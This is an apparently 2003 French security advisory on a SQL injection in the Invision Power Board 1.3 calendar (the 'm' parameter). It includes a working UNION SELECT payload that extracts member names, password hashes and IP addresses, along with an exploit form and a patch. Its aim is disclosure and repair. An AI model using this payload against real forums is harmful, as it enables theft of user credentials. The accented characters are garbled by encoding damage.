Invision Power Board Injection SQL ********************************** Informations : 같같같같같같같 Langage : PHP Version : 1.3 FINAL Website : http://www.invisionboard.com Probl�me : Injection SQL Developpement : 같같같같같같같� Invision Power Board est un forum fonctionnant avec une base de donn�e SQL. Ce forum souffre d'un probl�me d'injection SQL permettant d'ex�cuter une requ�te sql SELECT. Le probl�me se trouve dans le calendrier. Dans le fichier sources/calendar.php, on voit le code suivant : ---------------------------------------------------------------------------------------------------------------------------- [...] $this->chosen_month = ( ! intval($ibforums->input['m']) ) ? $this->now_date['mon'] : $ibforums->input['m']; [...] $recurring = array(); [...] $DB->query("SELECT * FROM ibf_calendar_events WHERE event_repeat=1 AND ( repeat_unit IN ('w','m') OR (repeat_unit='y' AND month={$this->chosen_month}) ) "); while ( $rec = $DB->fetch_row() ) { $recurring[] = $rec; } $events = array(); $DB->query("SELECT * FROM ibf_calendar_events WHERE event_repeat <> 1 AND month={$this->chosen_month} AND year={$this->chosen_year} OR (event_ranged=1 AND ( unix_stamp < $timenow AND end_unix_stamp > $timenow ) ) "); ---------------------------------------------------------------------------------------------------------------------------- $ibforums->input['m'] est la variable $m qui a �t� envoy�e par l'utilisateur. On voit que si intval($ibforums->input['m']) ne retourne pas de valeur num�rique, alors la variable $this->chosen_month vaudra le numero du mois auquel nous sommes. Si par contre il retourne une valeur num�rique, alors $this->chosen_month aura comme valeur celle rentr�e par l'utilisateur, celle de $ibforums->input['m']. Ceci aura comme cons�quence que, si on entre comme valeur � $m par exemple 'aaaaa', $this->chosen_month se verra attribuer une valeur par d�faut au script. A priori on ne peut donc pas entrer autre chose que des chiffres. Mais, si intval('aaaa') ne retourne pas de valeur num�rique, intval('2aaaaa') en retourne une ! Il suffit que l'argument COMMENCE par un chiffre. Donc si on donne � $m la valeur '2hophophop', $this->chosen_month vaudra '2hophophop'. Voyons maintenant la suite. On ex�cute apr�s la requ�te suivante : SELECT * FROM ibf_calendar_events WHERE event_repeat=1 AND ( repeat_unit IN ('w','m') OR (repeat_unit='y' AND month={$this->chosen_month}) ) o� on retrouve justement notre variable $this->chosen_month insuffisament filtr�e ! Comme c'est une requ�te SELECT, on peut par exemple utiliser la clause UNION. Comme le r�sultat de la deuxi�me requ�te doit �tre du m�me type que la premi�re, et que dans la premi�re on extrait tout (*) les �l�ments de la table ibf_calendar_events, on a besoin de conna�tre sa structure, qui est : ------------------------------------------------------- CREATE TABLE ibf_calendar_events ( eventid mediumint(8) NOT NULL auto_increment, userid mediumint(8) NOT NULL default '0', year int(4) NOT NULL default '2002', month int(2) NOT NULL default '1', mday int(2) NOT NULL default '1', title varchar(254) NOT NULL default 'no title', event_text text NOT NULL, read_perms varchar(254) NOT NULL default '*', unix_stamp int(10) NOT NULL default '0', priv_event tinyint(1) NOT NULL default '0', show_emoticons tinyint(1) NOT NULL default '1', rating smallint(2) NOT NULL default '1', event_ranged tinyint(1) NOT NULL default '0', event_repeat tinyint(1) NOT NULL default '0', repeat_unit char(2) NOT NULL default '', end_day int(2) default NULL, end_month int(2) default NULL, end_year int(4) default NULL, end_unix_stamp int(10) default NULL, event_bgcolor varchar(32) NOT NULL default '', event_color varchar(32) NOT NULL default '', PRIMARY KEY (eventid), KEY unix_stamp (unix_stamp) ); ------------------------------------------------------- On peut donc retenir que le r�sultat de la requ�te devra �tre du type : INT,INT,INT,INT,INT,VARCHAR,TEXT,VARCHAR,INT,INT,INT,INT,INT,INT,CHAR(2),INT,INT,INT,INT,VARCHAR,VARCHAR Donc si on donne � $this->chosen_month (� $m) la valeur : 2 )) UNION SELECT 0,0,0,0,m.id,m.name,m.password,m.ip_address,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM ibf_members m WHERE 1/* la requ�te ex�cut�e sera : SELECT * FROM ibf_calendar_events WHERE event_repeat=1 AND ( repeat_unit IN ('w','m') OR (repeat_unit='y' AND month=2 )) UNION SELECT 0,0,0,0,m.id,m.name,m.password,m.ip_address,0,0,0,0,0,0,0,0,0,0,f.id,f.name,f.password FROM ibf_members m,ibf_forums f WHERE 1/*) et ces deux requ�tes seront ex�cut�es : - SELECT * FROM ibf_calendar_events WHERE event_repeat=1 AND ( repeat_unit IN ('w','m') OR (repeat_unit='y' AND month=2 )) - SELECT 0,0,0,0,m.id,m.name,m.password,m.ip_address,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM ibf_members m WHERE 1 La deuxi�me requ�te renvois quatre 0, puis l'id, le nom, le mot de passe et l'ip du membre puis treize 0 pour chaque membre. ATTENTION ! La requ�te est ex�cut�e mais rien n'est affich� ! En effet, juste apr�s dans le script une autre requ�te est ex�cut�e : SELECT * FROM ibf_calendar_events WHERE event_repeat <> 1 AND month={$this->chosen_month} AND year={$this->chosen_year} OR (event_ranged=1 AND ( unix_stamp < $timenow AND end_unix_stamp > $timenow ) ) ce qui donne l'ex�cution de : SELECT * FROM ibf_calendar_events WHERE event_repeat <> 1 AND month= 2 )) UNION SELECT 0,0,0,0,m.id,m.name,m.password,m.ip_address,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM ibf_members m WHERE 1/* ce qui g�n�re une erreur. Mais la requ�te est ex�cut�e une premi�re fois, et il y a bien s�r d'autres utilisations possibles. Voici un outil simple pour ex�cuter des requ�tes : -------------------------------------------- IPBexploit.html ---------------------------------------------------------------- Invision Power Board Free 1.3 FINAL SQL Injection Problems
IPB directory URL :

SQL SELECT REQUEST :

Attention : The request result MUST have this structure :

INT,INT,INT,INT,INT,STR,STR,STR,INT,INT,INT,INT,INT,INT,CHAR(2),INT,INT,INT,INT,STR,STR




A patch can be found on phpSecure.

----------------------------------------------------------------------------------------------------------------------------- Solution : 같같같같같 Un patch est disponible sur http://www.phpsecure.info. Dans sources/calendar.php, remplacer les lignes : -------------------------------------------------------------------------------------------------------------------- $this->chosen_month = ( ! intval($ibforums->input['m']) ) ? $this->now_date['mon'] : $ibforums->input['m']; $this->chosen_year = ( ! intval($ibforums->input['y']) ) ? $this->now_date['year'] : $ibforums->input['y']; -------------------------------------------------------------------------------------------------------------------- par : ---------------------------------------------------------------------------------------------------------------------------- $this->chosen_month = ( ! intval($ibforums->input['m']) ) ? $this->now_date['mon'] : intval($ibforums->input['m']); $this->chosen_year = ( ! intval($ibforums->input['y']) ) ? $this->now_date['year'] : intval($ibforums->input['y']); ---------------------------------------------------------------------------------------------------------------------------- Patch officiel : http://forums.invisionpower.com/index.php?act=ST&f=1&t=108786 Credits : 같같같같� Auteur : frog-m@n E-mail : leseulfrog@hotmail.com Website : http://www.phpsecure.info Date : 30/12/2003 Merci � NorXbe de http://www.ihcteam.org pour m'avoir permis de tester mon patch.